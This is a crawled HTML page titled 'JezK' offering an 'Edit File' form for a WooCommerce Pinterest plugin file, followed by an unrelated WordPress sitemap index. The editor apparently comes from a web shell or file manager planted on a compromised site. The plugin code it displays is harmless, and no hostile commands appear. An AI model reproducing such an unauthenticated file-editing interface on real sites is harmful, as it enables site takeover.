
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: PluginHelper.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Helper functions that are useful throughout the plugin.
 *
 * @package Automattic\WooCommerce\Pinterest
 */

declare( strict_types=1 );

namespace Automattic\WooCommerce\Pinterest;

/**
 * Trait PluginHelper
 */
trait PluginHelper {

	/**
	 * Get the plugin slug.
	 *
	 * @return string
	 */
	protected function get_slug(): string {
		return &#039;pinterest&#039;;
	}

	/**
	 * Get the prefix used for plugin&#039;s metadata keys in the database.
	 *
	 * @return string
	 */
	protected function get_meta_key_prefix(): string {
		return &quot;_wc_{$this-&gt;get_slug()}&quot;;
	}

	/**
	 * Prefix a meta data key with the plugin prefix.
	 *
	 * @param string $key Meta key name.
	 *
	 * @return string
	 */
	protected function prefix_meta_key( string $key ): string {
		$prefix = $this-&gt;get_meta_key_prefix();

		return &quot;{$prefix}_{$key}&quot;;
	}

	/**
	 * Check whether debugging mode is enabled.
	 *
	 * @return bool Whether debugging mode is enabled.
	 */
	protected function is_debug_mode(): bool {
		return defined( &#039;WP_DEBUG&#039; ) &amp;&amp; WP_DEBUG;
	}

	/**
	 * Helper method to return the onboarding page parameters.
	 *
	 * @return array The onboarding page parameters.
	 */
	protected function onboarding_page_parameters(): array {

		return array(
			&#039;page&#039; =&gt; &#039;wc-admin&#039;,
			&#039;path&#039; =&gt; &#039;/pinterest/onboarding&#039;,
		);
	}

	/**
	 * Check wether if the current page is the Get Started page.
	 *
	 * @return bool Wether the current page is the Get Started page.
	 */
	protected function is_onboarding_page(): bool {

		$page_parameters = $this-&gt;onboarding_page_parameters();

		return count( $page_parameters ) === count( array_intersect_assoc( $_GET, $page_parameters ) ); // phpcs:disable WordPress.Security.NonceVerification.Recommended
	}

	/**
	 * Strip HTML tags from the given string.
	 * This is intended to be used with the description field on the feed and the Rich Pins.
	 *
	 * @since 1.2.3
	 *
	 * @param string $string           String with HTML tags.
	 * @param bool   $apply_shortcodes Whether to apply shortcodes or not.
	 *
	 * @return string
	 */
	protected static function strip_tags_from_string( $string, $apply_shortcodes = false ) {

		if ( $apply_shortcodes ) {
			// Apply active shortcodes.
			$string = do_shortcode( $string );
		} else {
			// Strip out active shortcodes.
			$string = strip_shortcodes( $string );
		}

		// Strip HTML tags from description.
		$string = wp_strip_all_tags( $string );

		// Strip [&amp;hellip] character from description.
		$string = str_replace( &#039;[&amp;hellip;]&#039;, &#039;...&#039;, $string );

		return $string;
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
